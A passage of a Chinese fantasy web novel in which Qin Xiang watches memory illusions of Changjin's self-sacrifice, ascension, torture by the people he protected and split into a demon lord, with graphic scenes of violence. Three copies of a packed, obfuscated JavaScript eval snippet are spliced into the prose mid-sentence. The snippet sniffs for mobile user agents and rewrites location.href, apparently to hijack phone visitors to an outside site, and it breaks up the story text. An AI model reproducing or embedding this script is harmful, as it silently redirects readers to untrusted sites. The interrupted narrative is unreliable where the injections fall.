长锦的声音随着呼啸的风声传入了城下每一个人的耳中,军士百姓们从震惊中回过神来,下一刻,纷纷怒声呐喊,齐齐跪下叩拜:“誓与少主同在!誓与洵阳同在!守护洵阳!!战至最后一刻!!” 秦湘看着面前壮观的画面,呼吸都停止了一瞬,她不知道该用什么词形容自己此时的心情,震惊?诧异?热血澎湃?她僵硬地眨了眨眼,看着面前的每一张脸,在他们的脸上,秦湘看到了尽管前路再黑暗,他们也不会放弃对光明的追寻,尽管这条寻找光明的路布满荆棘,他们也会毫不犹豫地走下去的决心。 人群散了后,长锦叫住了那几名满脸血污的将士,几名将士站在长锦身后,长锦什么也没说,他站在城墙之上,看着笼罩在整个洵阳上方的金色透明结界。这结界是洵阳城建城之际第一任城主花重金请修仙大门派建造起来的,是一种非常强大的守护结界,也是洵阳城陷入危险之际的最后一道至关重要的防线。 长锦盯着那金色的透明结界看了良久,才开口轻声问道:“你们觉得我们的结界怎么样?” 几名将守相互看了一眼,犹豫了一会儿,回答道:“很牢固,这是洵阳城最重要的一道防线,也是最后的一道防线,妖魔拿它没办法,也正是因为它,我们才能坚守这么多天。” 闻言,长锦轻笑一声,然后笃定地摇摇头,说道:“不,只要魔主想,他便可在瞬息之间攻破我们这道最后的也是最重要的防线。” “什么?!”几个将守面面相觑,简直不敢相信自己听见了什么,好半天,才有一个长得一脸正气的高壮将守大着胆子问道,“这……少主,那为何他们还要和我们故意周旋这么多天?明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14894903|156532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明可以瞬息之间结束的战争,却……”他顿了顿,没有将接下来的话说出口。 长锦看了他一眼,一字一句地将他没说完的话补上了:“却如猫儿邂鼠般,看着我们拼命努力做着无用的挣扎,仍被他们玩弄于股掌之中。” “是啊,”虽然不想承认,但是长锦说的是事实,几位将守皱眉道,“他们为何如此?” 长锦目光悠悠,投向天边,温声道:“因为魔主没有得到他想要,洵阳城里,并没有他想看到的惊慌,还有危难之际的世态炎凉。魔主是万恶之源,天下邪念与恶念都将成为他的养分他的力量来源,对于他来说,猎物一下被杀死了,就没有任何乐趣和意义了,他喜欢看见我们因为害怕而产生的恶和邪念,那是他最好的力量来源。” “所以,他今天才会放出那样的话,”听到这里,几位将守还有什么不明白的,他们都已了然,“他想看着我们互相残杀,想让我们为了活命而臣服于他,然后产生的负面情绪就会沦为他的……食物。” “是的,”长锦将头转了回来,继续道,“可惜他错了,他低估了人的决心,也低估了人在黑暗之中看见一点点细微光亮所燃起的希望,细小的波澜终有一天也会成为惊涛骇浪。” 长锦说着,又从一旁拿过几封书信递给其中一个将守,郑重道:“方才我在城墙之上跟洵阳城所有的军士百姓所说的也并非是大战在即鼓励安慰他们的话,这些天,我确实收到了几封来自于各地修仙掌门的书信,他们也确实愿意援助我们,按照书信上所写,大概明日就能到,等他们到了之后,洵阳就交给你们了,你们要守护好它。” 几个将守猛然抬头看向他,眼里都是不可置信,半晌,猛然跪下,惶恐道:“少主,你这是在说什么!” “各路援军赶到需要一定的时间,魔主明日便会率领群魔攻城,在援军赶到之前,必须要有人去拖延时间,”长锦注视着他们,声音轻轻地,却有着不容置疑的坚定,“今日在城门,魔主说,只要我献祭于他,他便会放过明日的洵阳,所以,以我一人,换全城百姓的平安,很值。” 听到长锦的话,不仅秦湘震惊,几个将守脸色一沉,想也不想,立马拒绝:“不行,洵阳不能没有少主,请少主三思,收回成命!!” “今日看见洵阳城的百姓,看着大家都高呼着守护洵阳,与妖魔战至最后一刻,我心中有种莫大的不可言说的心情,也是这种心情,让我下定决心我必须这么做,”长锦说着,朝着几人笑了,“我意已决,还望我走以后,诸位能带着我的那一份,继续誓死捍卫我们的家园,保护我们的百姓。” “少主……”几人知道劝他已是无用,只是这样看着他,便倍感悲凉,一时间,就算是高壮的汉子,声音中也带上了几分的哽咽。 “少主,我这条命是你今日救回来的,就是你的,我命贱,你让我替你去!”突然,人群中,一个将守抬起眼看向他,目光中都是决绝。 长锦愣愣地看了他两眼,旋即轻声道:“你记住,你的命不是任何人的,是你自己的,生命并无贵贱之分,这样的话,以后莫要再说,而且,魔主指名献祭的人必须是我,所以,明天,走上祭祀台的,就一定只能是我。” 说完,他转过身去,缓缓仰头,看向苍穹,不知在想什么,半晌,才淡淡道:“我走以后,母亲也要麻烦你们帮我照顾了,她身体不好,明日就不要让她来城门了。” 几位将守望着长锦清俊挺立的身影,顿了一顿,最终还是压下了心中的万千情绪,在他面前,跪下叩拜。 秦湘看到这里,眼眶蓦地湿了。她想起了花溪镇大战之后长锦说起的关于三千年前魔主出世而他献祭魔主血洒城门羽化成神的事情,当时,他三言两语,说得那么平静,那么淡然,可如今她亲眼所见,却是如此悲壮,如此惨烈,追寻光明,守护苍生,这便是他心中所想吗? 正如长锦计划的那般,第二日,洵阳城城门大开,长锦一袭青衣,墨色长发松散地用一条白色发带绾着,面色平淡。 祭祀台上,魔主早已率领着群魔等在了那里,他目光森森,竖瞳之中闪跃着兴奋的精光,看着朝他一步一步走来的长锦,他嘴角扬起,声调缓慢:“长锦,怎么样?被自己所保护的百姓抛弃是何种感受?” 长锦不答,步伐从容,他一步一步走上祭祀台台阶,立在魔主面前,站定。 他看着面前的魔主,不答反笑道:“你不是要我献祭你吗?我来了,不过,我死了……你也别想好过!” 话音一落,一道闪亮的金光迅速从他掌中打出,直击魔主心口。 37.道心破碎 这一击,是所有人都没有意想到的。而长锦心中早知今日不能活着回去,所以他一早便做好了准备。这符咒也是当初洵阳建城之际一并留下的,他不知道能对魔主造成多大影响,但是,能让他有片刻的不好过就是好的。 群魔震惊,尖叫着就要冲上前去,獠牙利爪蓄势待发,下一秒,就能将长锦撕成碎片。 魔主抬起手,制止住了群魔的动作。他皱着眉头,阴沉地看向了站在他面前的长锦,这一击对他属实没造成多大影响,但是他确确实实也成功地被惹怒了,他盯着他,缓慢道:“长锦,我本不欲杀你,你非要自寻死路吗?” “我今日出来就没打算活。”长锦一双眸子平淡如水,声音一如既往的坚定。 “好,好得很,既然你想死,那,”魔主抬起手,只在挥手弹指之间,长锦的脖颈之上便顷刻见血,他看着他慢慢倒下,然后阴冷的声音补上了未说完的话,“我就成全你。” 长锦死了,而洵阳城的百姓也并没有如他一开始所计划的一样,静待援军的到来,再做从长计议。看着长锦倒在了血泊里,洵阳城的军士们最终还是疯了,他们双目赤红,他们无所畏惧,他们高声嘶吼—— “杀!!为少主报仇!!” “杀!!杀!!” 将守们率领着军士一波又一波从城门冲了出来,他们有的手持刀剑,有的手持利斧,甚至还有的手持锄铲。此时此刻,所有人心中都没有恐惧,没有惊慌,就算是蚍蜉撼树,以卵击石,也在所不惜。 恶战并没有持续多久,这只是一场单方面的屠杀,凡人之躯,最终还是不敌妖魔之身,血迹染红了城墙,尸体堆满了城门。在魔主即将下令屠城之时,一道冲天的金色光柱却从苍穹之上落下,落在血迹斑斑的祭祀台上,而长锦,就在所有人的注视之中,缓缓升空。 高空中,长锦脖颈之上的伤口正在以肉眼可见的速度快速愈合着,而他整个人也在这金色光柱之中缓缓发生着一些微妙的变化,原先青色的素衣慢慢染上金光,一柄长剑凭空出现,虚浮在了他的面前,随着金光完全倾入到他的身体之中时,长锦缓缓地睁开了双眼,他眉眼低垂,慈悲万物,怜悯众生。 在长久的沉寂之下,所有人都看见了,长锦,成神了。 洵阳城的百姓将士热泪盈眶,纷纷放下了手中的武器,然后,朝着他们的少主,也是他们的神明,虔诚俯身拜去。 长锦成神,挽救苍生,举城上下,呐喊欢呼。 渡天神剑出,一剑败魔主,一剑封妖魔,渡天下苍生。 秦湘站在城门下,仰头看着高空中那扇她曾在花溪镇大战时见过的骷髅黑色巨门。她看着长锦如当初她见过的那般,甚至于比那时更强,脚踏渡天神火,手持渡天神剑,顷刻之间,便将妖魔封印回了高空中虚浮着的厄运之门内。而他自己,也成为了厄运之门新一任的守护神,与厄运之门一同消失在了万里重云之间。 千万百姓齐齐跪下,俯首在地,恭送着他们的神明。 秦湘愣愣地看着,鼻头发酸。此时此刻,也不由自主地,朝着天空的方向,跪拜了下去,行了个庄严大礼。 城门的幻象渐渐淡去,这次,黑暗中的白光并没有立刻浮现。秦湘站在一片黑暗之中,经过了前两个幻境的结合来看,她此时也能确定了,这些幻境,应该是长锦的记忆幻境。 秦湘心想,前两个幻境是三千年前魔主降世长锦成神的事件,那后两个幻境,应该就是七百年前魔主破开厄运之门封印长锦再次封印他的事件,而据在腾岳之巅藏书阁的史书上所记载的来看,七百年前,长锦应当也是如这般地力败魔主,拯救苍生的。 正暗暗思忖着,面前又慢慢地亮起了两个光影,不过,这次的,并不是白色的了,而是两个红点光亮。看着面前的红色光影,秦湘顿了顿,心中虽有些疑问,但想了想,还是抬脚走了进去。 眼前刺眼的光亮淡去了之后,幻象慢慢地展开在了秦湘面前。 秦湘缓缓睁开双眼,可在看到了面前新的画面的时候,她忽然就僵住了,双目瞬间睁大,脸上的血色也在瞬息之间退得无影无踪。 她不可置信地看着面前的画面,在她面前,还是如上一个幻境一般的,是个城门,也是个乌云密布,瘴气四溢,人间不见天日的场景。 而有所不同的是,这一次,是城门广场,二十余个全身萦绕着黑气的妖魔分别立于两侧,长锦被缚仙绳索锁在了高台之上,正对着台下广场上密密麻麻缓缓蠕动的人群,而魔主,坐在高位之上,手指百般无聊地在面前的案牍之上一下一下地轻叩着。 魔主森森而笑,看着面前被牢牢锁住的长锦,眼里闪着诡谲的幽光,“长锦,你锁了本座千年,就为了守护一群这样的蝼蚁?值得吗?本座早就说过,人之初,性本恶也,你看,当初你拼了性命守护他们,可是你得到了什么呢?是供奉你十年?百年?等到海晏河清之时,他们啊,早就将你遗忘了,谁还会记得你为他们做过的事呢。” 长锦冷冷地盯着他,恍若未闻,声音还是一如既往的坚定,“守护苍生,乃我之责,无外乎值不值。”顿了片刻,他又朝着台下的众人平静道,“请你们相信我,我会誓死保护你们的。” 魔主听着长锦的话,仿佛听见了什么天大的笑话一般,他大笑着:“相信你?笑话,长锦,如今你被我的魔气压制着,又被这缚仙绳锁着,你自己都尚且不能救你自己,你又如何能救他们?” 顿了顿,他又看向台下的人群,声音阴寒刺骨,仿佛要把人的胸腔撕裂,再扎进他们的心里:“你们真的相信你们这所谓的神明能救你们吗?他的力量已经削弱,他能拿什么来救你们?如若他能救你们,一开始,便不会败了。” “阿娘,我不想死……” 人群之中,有孩子终于忍耐不住了,被这话语吓得哭了起来,扑进母亲怀中,不断地瑟缩发抖着。惊慌的气氛也这样在人群之中弥漫开来,他们都瑟缩在一起,彼此之间无助地哭泣着,喃喃着。 慢慢地,所有人的目光都开始往高台之上的长锦望去。长锦抬起头,对上他们的目光,那目光中包含的恶毒恨意,是他所没有意料到的。他愣了愣,心惊胆颤。 其实也正如魔主所说,千年之前,魔主降世,他因为得天道之点化而成神,成功地封印了他们。神明力量一部分来源于苍生供奉,只有被苍生需要,神明才有其存在的理由,而从封印了魔主之后的千百年里,人间海晏河清,渐渐地,也就没有人记得当初封印妖魔的神明了。 失去了供奉之力的长锦力量渐弱,而妖魔被封印千万年,魔气怨气却是一日比一日更甚。 终有一日被他们找到了机会,那日长锦神力相比较之前更加薄弱了,而妖魔乘机群起而攻之,在厄运之门内爆发了一场前所未有的恶战。魔主伺机放出了一缕魔气,魔气出逃,蛊惑苍生,吸收了大量邪念,最后,吸收了大量邪念的魔主终于又再一次破开了厄运之门的封印,带领群魔,降临人间。 再次遇见这场人间浩劫,长锦一开始也是用尽了自己所有的努力去力挽狂澜,可失去了大部分力量的他终究还是不如千年前洵阳城门那般从容与自如。一开始,人们拼命向他求救,到后来,他们发现他再怎么努力也救不了他们的时候,便开始对他失去了耐心。 倒也不能说是人们怎样,毕竟在那种危及生命的极端环境下,会生出恐惧焦急狂躁也是正常的,他们只是想活着。 可这种情绪,却是魔主最好的力量来源,长锦终究还是败了,败在了众目睽睽之下。 魔主看着面前众人眼中的情绪,嘴角勾出一丝玩味的笑,他看向长锦,脸上的笑更加肆意,“长锦,不如我们来打个赌吧?本座知道,你想保护他们,所以本座和你保证,不管这个赌约最后结果如何,本座都不会让他们死,也不会让你死,怎么样?” 秦湘站在人群之中,耳中嗡嗡地,看着魔主眼中的精光,她只觉得寒意入骨,冷彻心扉。 而这边,也不再等长锦说话,魔主起身面向台下,看着面前抖如筛糠的众人,声音冰冷,一字一句,蛊惑至极,“本座降临世间,并不是为了无休止的杀戮,今日本座心情好,不想杀人,所以这样吧,”他说着,手指在空中轻轻一挥,一个兵器架凭空出现在了长锦身边,“他不是你们的神吗?普通兵器并不能让神明死亡,但是却能让你们死亡,所以……从现在起,谁让他痛苦,本座就饶他不死,谁让他最痛苦,本座不仅饶他不死,还赏赐黄金万两。” 话音一落,广场上下一片寂静,秦湘简直不敢相信自己听见了什么?!瞳孔瞬间紧缩,愣怔在了原地。 长锦心中也是极为惊骇,他从未想过魔主竟然会用这种方式,来放大众人心中那些隐秘的阴暗。 他怔了半晌,才定了定神,向着台下的众人道:“冷静下来,诸位请冷静下来,不要听这魔物的荒唐之言,他的力量本就来源于天下邪念与恶念,若是被他蛊惑,他的力量只会越来越强,他就是害怕……” 话音未落,一个身影便在瞬息之间闪至了他的面前,长锦只觉得喉咙一紧,魔主站在他的面前,手指攀上了他的咽喉,他朝他冷笑一声,再伸手凌空一抓,一个衣衫褴褛的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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忽然间,有一个人冲了上去,是个矮小瘦弱的男人,他走到兵器架旁边,手指在空中僵了僵,最终还是握上了一柄散发着森森寒意的长剑,来到了长锦面前。 秦湘眼前被那剑光闪过,一颗心如坠冰窖。在这一瞬间,她已经分不清幻境与现实了,她只知道,他们不能,他们怎么可以这样对他?!她冲上前去,试图挡在长锦面前:“不!!不要!!不要!!” 可她什么也阻止不了,只能看着那人握着剑,站在她面前,透过她看着她身后的长锦。这也是他第一次杀人,尽管知道长锦不会死,但他还是脸色煞白,手脚发抖,一双眼始终不敢对上长锦的视线。 男人不住哆嗦着,他做了很久的心理建设,最终还是一边痛哭流涕,一边大叫一声,然后将剑猛地送入长锦的身体。 身后传来一声轻微的闷哼,秦湘不可置信地转头,看着那柄长剑透过她的身体直接刺入了她身后长锦的胸腔之中,长锦皱着眉头,脸上都是痛苦的神色,那一剑,力度之大,直接从他的胸腔里刺穿了出去! 看着长锦的眼神,那人也懵了一瞬间,再一低头,看着神明的血液染了他一手。他一愣,慌忙地松开了握剑的手,跌倒在地,不住后退,痛哭流涕:“对不起,对不起,别怪我,你是神,剑刺在你身上只会疼,不会死,但我是人,我会死,所以,神明普渡众生,你救救我,别怪我,别怪我……” 他喃喃地说着,似乎是再也忍受不了了,手脚并用地爬起身来,捂着耳闭着眼,大叫着冲进了人群之中。 宝座上的魔主发出一阵冷笑,半晌,满意地点点头:“好,今天的你,可以活下来了。” 闻言,台下又是一阵喧哗,过了一会儿,又有一个身形较为高壮的汉子走了出来,比起上一个人的犹豫与懦弱来说,他倒是镇定冷静地多。 他走到那兵器架面前,一顿挑挑拣拣,最后选了一把带着倒钩的锯齿黑刀,他没有半分犹豫,携着刀朝着长锦走来。看着那把黑刀,秦湘头皮发麻,她几乎是下意识地就扑在了长锦身上,尽管这是无用的,她也做不到眼睁睁地看着他们这样一刀一剑地伤害他。 她满脸泪水摇着头,哭着,喊着,嘶吼着:“不要!!!” 可是,没有任何用处。 那汉子走到长锦面前,看着他,脸上并没有任何表情,顿了片刻,低声道:“你不要怪我心狠手辣,是你败了,所以,你就当是赎罪吧。” 说完,他手中的刀猛然朝着长锦的心口刺了进去,刀锋在他的身体里辗转碾压,倒钩带着血肉被一次次拉出,又被一次次地推了回去。 38.神魔交织 秦湘颤抖着,入目皆是殷红的血,她贴上长锦的心口,试图堵着那个又深又大的伤口。 随着一声“嘶拉”响起,那汉子手中的黑刀在长锦的心脏处用力地一勾一拔,一大块血肉被猛地勾了出来,掉落在地上。 如果现在的秦湘是实体,她必定会被这猩红的鲜血喷溅一身。可她不是,她什么也做不了。 秦湘跌坐在地上,整个人已经从一开始的拼命阻止到现在的麻木不堪。她不喊了,也不叫了,只是呆呆地流着泪,看向地面,又看了看长锦的心口,她已经分辨不出来掉落的那一块到底是长锦的心,还是他的血肉了。 这个人是狠的,他挖了长锦的心。看着这样血腥的画面,魔主很满意,他微笑着,“今日的你,也可以活下去了,”手指再微微一动,一大盒黄金珠宝摆在了他的面前,“这是你应得的,拿走吧。” 本来众人的视线重点还是在长锦心口上那个触目惊心的伤口上的,可随着这一箱金光灿灿的黄金珠宝出现在了众人眼前,秦湘突然发现,他们眼中最后的一丝敬畏之心好像就此消失殆尽了。他们盯着长锦,直勾勾地盯着,那眼神,不像是看着一个神明,倒像是在盯着一个猎物。 那目光之中显现出来的神情,不仅是让长锦心惊,就连她也心惊不已。 都不用再等魔主再催促,一个接一个的人朝着高台之上纷涌而去,他们争先抢后地来到那兵器架面前,挑选着合适的兵器。 一股滔天的寒意与疼痛在心头炸开,秦湘猛然回过神来,她不可自制地爬起身来,冲到那个兵器架面前,撕心裂肺地喊叫,去推那满眼冰凉的刑具,试图将它推到,摧毁。 可她是个虚影,并不属于这个记忆幻影之中,不管她多么想救长锦,多么想站在他面前为他阻挡这一切,可她终究还是什么都没有碰到,刀剑人影从她的身体之中不断虚浮飘过。 而长锦呢,被封住了功力,又被禁住了言语,他被束缚在神架之上,看着面前这一张一张虽然哆嗦着却又将刀剑毫不犹豫捅入他身体的面孔,他突然就想起了千年之前洵阳城里的百姓和将守。 想起了那一年的洵阳城城郊,春意正浓,母亲带着年幼的他去田间看望忙碌的百姓。她温柔地拥抱着怀中的孩子,和田间的人们打着招呼,又对他笑道:“锦儿,你看,作为洵阳城的城主夫人与少主,我们接受了百姓给予我们的供养,那相应的我们也要承担好我们该承担的责任,记住,要保护好他们。” 保护……守护…… 可岁月悠悠,风过无痕。当年良善的百姓早已化为了一捧黄沙湮没在了时间的长河里,而此时此刻站在他面前千刀万剐着他的这一张张面孔,到底是苍生还是恶鬼?他不得而知,在一阵一阵的锥心剧痛之中,他好像开始变得迷茫了…… 长锦阖上眼帘,两行清泪潸然落下。这一刻,他很想喊疼,可是,就算他喊出来了,又能怎么样呢?他们不会放过他,意识恍惚间,他好像看见了一个青色的身影,她站在他面前,温柔地看着他,他皱着眉头,颤抖着张大了嘴巴,想说的话却还是哽在了喉间…… 母亲……好疼啊…… 幻境之中的时间是模糊的,日夜交替可以是正常的,也可以只是一瞬。 长锦被锁在高台之上多久,秦湘就在他身边跪坐了多久。 两人在这场血腥疯狂的混乱之中已经陷入了麻木,他们呆呆地看着人们日复一日地集结在广场之上,一开始,只是为了活命,他们心中还有着一丝恐惧,只敢随意草草地刺一刀或一剑,可越到后来他们便越习惯了这种感觉,心中的那丝不忍与负罪感坦然消散,为了得到赏赐,他们每天都会绞尽脑汁想尽最恶毒的办法,用尽最大的力气,万箭穿心,千刀万剐,挖眼剔骨…… 只要是他们能想到的,就没有他们不敢下手的。 对长锦来讲,神明金身会保他在这种没有任何法力的攻击下不死,无论挖了心还是剔了肉,等到了第二日,都会恢复如初。而对于众人来讲,来到广场上,再刺长锦一剑,也就成为了他们每日必做的事情里面一件再小不过且再自然不过的事情了。 秦湘僵硬地抬眼,不知看了多少遍长锦被挖心剔骨的场景,她早已麻木不堪。 渐渐地,画面在她眼前开始变得模糊缥缈起来。她知道,这段记忆算是结束了,结束了也好,她真的不能再看下去这个场景了,入目皆是红,无边无际的红。 平静着、麻木着、枯坐着,直到面前的画面再次淡去,而她也回到了黑暗之中。光影在她面前化成点点红光消失不见,而此时,旁边还剩下的最后一道红色光影正在她面前不断恐怖地闪烁着,一闪一亮,一明一灭,犹如索命的鬼火。 秦湘一怔,下意识地便要后退,她不想再看见长锦被他所保护的苍生万箭穿心的情形了,再看下去,她怕她会疯,会死。 她想逃,可这怎么能由得了她,那红色光影仿佛也察觉到了秦湘心中的恐惧与抗拒,两道萦绕着黑气的锁链从黑暗中迅速朝她袭来,将她牢牢地禁锢在了原地。 她想闭眼,可虚无里却好像有一双手绕过她的头,将她的眼睛死死撑开,强迫地,强硬地,不容反抗地,将她带入了那红色光影之中。 透过刺眼的光亮之后,画面再次在秦湘面前展开,是个暗黑的虚无里,伸手不见五指的黑。 这个幻境和前三个都不同,明明已经进入了幻境之中了,束缚住她的锁链也已经消失,可她却还是不能动弹,不能闭眼,笔直地站立在这黑暗之中。 黑暗之中传来了一声叹息,秦湘失去了战斗能力,一时被骇得头皮发麻,寒毛倒竖,可偏生此时还不能动弹,她强迫着自己冷静下来,睁大着眼睛,看着面前一道虚虚的白光亮起,在黑暗之中形成了一个光柱空间,而渐渐地,一个人影缓缓出现在了光柱之中。 他背对着她,抱着头颅,全身颤抖,口中不断喃喃:“住嘴……住嘴……不要说了,不许说了!!”像一根绷得很紧很紧已经到了极限的弦,那人一开始只是喃喃嗫嚅着,到后面,已然崩溃,在光柱之中疯狂地嘶吼着。 “为何不说?!为何不能说!!”黑暗中,又有另一束光柱在秦湘面前炸开,光柱之中,也有一个全身萦绕着黑气的黑影浮现,但他只是人形,还没有模样,他朝着另外一个光柱之中的人影吼着,“你告诉我,为何不能说?我说的就是你心中所想的,你不想保护那群所谓的苍生,他们也不需要你!!” “不!不是这样的!”那人狂怒着回过头来,朝着那道黑气猛地挥出一击。 在看见那人的脸时,秦湘脑袋徒然空白了一瞬,脸色也瞬间煞白。 那个人,是长锦。 却又与她见过的所有样子的长锦都不一样,要说与他最为相近的模样,那应该就是那一天陷入梦魇之中的那个模样,脆弱,惊慌,仿佛再受一点点的刺激,便会陷入疯魔。 为何他会露出这种神情?秦湘僵硬着看着面前发生的一切,今晚所看到的一切无一不在摧毁着她一开始的认知,这是书卷之上所没有记载的,七百年前,在他身上,究竟还发生过什么?! 那被长锦一击而碎的黑影又在他面前凝聚成形,他踱着步子,不紧不慢,却步步紧逼。 他来到他面前,看着跪在地上的长锦,轻声笑道:“不是这样的?不是怎样的?是那群所谓的苍生并不曾伤害过你?还是你从不曾动摇过你的信仰?长锦,你真的还分得清什么是人?什么是鬼吗?到底什么是善?什么又是恶?你真的分得清吗?!” “我当然分得清!”长锦喘息着,恶狠狠地盯着他,“苍生是善,魔主为恶,我已经消灭了魔主,一切都已经结束了!!” “不,魔主还没有被消灭。”那个黑影在长锦面前转着圈,他蹲在了他面前,伸手轻轻地摸上了长锦的下巴,然后一把狠狠地掐住,强迫他抬头看向他,“你心里应该很清楚,魔主并没有被消灭。或者说,另一个魔主已经出世了,而创造他的人,就是你啊。” 话音落,那黑影在长锦面前渐渐成了型,黑雾慢慢散去,露出了他的面目与身形来。 那是一张和他一模一样的脸,眉目缱绻,眼角含笑,却多了几分不怀好意与阴鸷,他阴沉地笑着,盯着长锦:“长锦神君,看见我,你意不意外?我便是你,你便是我,你的信仰已经崩塌了。从此,你不再是神,你是魔,你就是这世间的暗黑之主,万千妖魔尽统治在你的麾下,打开厄运之门吧,与我融合,杀了那些胆小恶心的凡人,杀了他们。” 看到这里,秦湘一怔,今晚上接受的炸雷一个比一个炸得厉害。尽管不能动弹,但她此时此刻还是能感觉到自己在剧烈地颤抖着,战栗着,她双目空洞地盯着面前的两个一摸一样的身影,鸡皮疙瘩愣是爬起了一身。 这怎么可能呢?!七百年之后,如今的这个魔主,怎么会是由长锦分裂出来的呢?! 长锦的情况也没好到哪里去,他看着面前这张与他一模一样的脸,那上面带着的神情却是那样的陌生。如果说方才的他是疯狂恐惧和愤怒的,可如今看着这张脸,感受着他的魔气之中还带有着与他同源同宗的法力气息,他只觉得冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14909197|156532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,浑身的血液仿佛都凝固般的冷。 他几乎是心死地看向他,盯了他良久,那个“好”字卡在喉头,无数个与他对视上的瞬间,他几欲脱口而出。可每每到那关头,他却是一个字也说不出来。 “不可以……你不可以。”心底里有一个声音在暗暗说着。 “为什么不可以?苍生已经不需要我了,他们已经抛弃我了。”长锦茫然地开口问道。 “因为你是神,你不是魔,你的责任是守护苍生,而不是毁灭苍生。”那个声音回答,“你忘记洵阳城的百姓了吗?你忘记母亲说过的话了吗?天道既然选择你成神,那么你的责任便是守护苍生。” “你要记住,你是神,你绝对不能毁灭苍生,你的责任,一直都是……守护他们。” 声音逐渐消失,而长锦也渐渐回神,他盯着面前的自己,眼神聚焦,喃喃道:“不可以……” “什么……”另一个掐住他下巴的自己并没有听清他的这句话,他眯着眸子,“你再说一遍,你方才说了什么?” “不可以……”长锦咬着牙,声音从一开始的轻声喃喃到后来的放声大喊,他一把挣开黑影挟制住他的手,金光也在他身上亮起,“不可以打开厄运之门,我既是神,我的责任是守护苍生,不是毁灭苍生,不可以,绝对不可以!!” “哼,”闻言,被他震开的男人冷哼一声,越来越盛的黑雾魔气也萦绕着他周身而起,“既然你如此执迷不悟,还要死死守着你那可笑的神识人性,那我只能吞噬掉你了,反正我们本来就是一体的,你不肯要这魔气,那就换我来吧。等我吞噬掉你,这副身体,便是我的了,到时候,三界之中再也不会有神明长锦了,只会有魔主长锦。” 说罢,他便化为了一阵黑雾朝着长锦袭去,长锦一愣,虽然还处在失魂状态,却也本能的察觉到了危险的袭来,金色的神光包裹着他的全身,金光大盛,朝着黑雾方向也跃然而去。 两道几乎一模一样的身影在空中纠缠碰撞,灵力之大盛,仿佛足以毁天灭地。秦湘站在他们面前,看着半空中那两道黑白光影交织碰撞着,速度之快,她完全看不清楚他们的形态,只能看见那一次又一次的碰撞之凶狠,就像当初宋允棠的善恶之魂一般,凶狠至极,不死不休,直到一个被另一个完全吞噬吸收才会停止。 随着“砰”的一声,两道灵力在空中剧烈一碰撞,释放出的磁场压力直接席卷了幻境之中的每一寸角落,就算秦湘此时并不是真实存在于这个空间内,也不由得地感觉到了一股无形的压力朝着自己扑面而来。恍惚间,就好像是自己的周遭正在起着某种微妙的变化,就好像,是那暗黑面的长锦察觉到了她的存在一般。 秦湘脸色瞬间大变,而空中,金色的光芒越来越小,可黑雾越来越强盛,随着暗黑面长锦的猛然一记重击,金光从空中快速坠落,重重地砸在了地上。 空中的黑雾又慢慢地显现出了那张与长锦一模一样的脸,他虚浮在空中,黑色的衣袍无风而动,在空中猎猎飞舞着,看着砸在地面气息微弱的长锦,他轻笑道:“长锦啊长锦,你以为,你还能打得过我吗?失去了供奉之力,又失去了信仰之力,如今,就连这仅剩的天道天生的神力,一半也为我所用,还是不要再做无谓的挣扎了,既然我是你分裂出来的,那我就会帮你,帮你完成你的心中所想,而你,只需要将这具身体献祭给我,然后,就好好地休息吧。” 长锦急促地喘息着,唇边鲜血溢出,他抬头与空中的自己对望着,咬牙道:“你痴心妄想!” “哦?痴心妄想?”听着他的话,空中的暗黑长锦眯了眯眼睛,嗤笑一声,“可能我们的神君到如今还分不清楚状况呢?那我就只好让你明白,到底是我在痴心妄想,还是你痴心妄想!” 说着,他手中黑雾腾起,眼神一凛,便朝着地面上的长锦疾掠而去。秦湘甚至都没看清楚他是怎么过去的,下一秒,长锦便被他掐住喉咙提在了半空中。 “好了,你累了,别挣扎了,乖乖地献祭于我吧。”他说着,黑雾慢慢从他身上浮现出来,然后顺着他的手臂,蔓延到了长锦身上。 秦湘的眼睛睁大,她就这么看着,看着长锦被那黑雾慢慢席卷,吞噬,然后化为了一阵一阵金色的光华慢慢地涌入了对面那人的身体之中,直至完全消失不见。 黑暗中,只有秦湘与那人相对而立。而在这长久的寂静之中,那与长锦长得一模一样的人也慢慢地转过了身来,看向了秦湘,眼中带着妖冶的红光,步伐坚定。几乎是不带任何犹豫地,一步,两步,三步,朝她缓缓走来。 39.往事如烟 看着面前的身影,秦湘头皮发麻,心中骇然,她知道此时自己已经害怕到了极限了。因为那人的目光正牢牢地锁定了她,一个可怕且真实的想法在她心中盘旋,她想,只要等他走到了她的面前,他就会挥出利爪,将她活活撕碎吞噬腹中吧? 事实也确实如她所想,秦湘捏紧着拳头立在那里,连闭眼都做不到,只能双目睁大,看着那张熟悉的脸此时却如同索命的修罗般,脸上带着阴寒的笑,掌中拖着一簇晃动着的魔气,朝她一步一步地缓缓走来。 不……不要…… “秦湘……”在这危急之时,一道熟悉温柔的声音像是从心底飘忽而出的一般,又远又近。 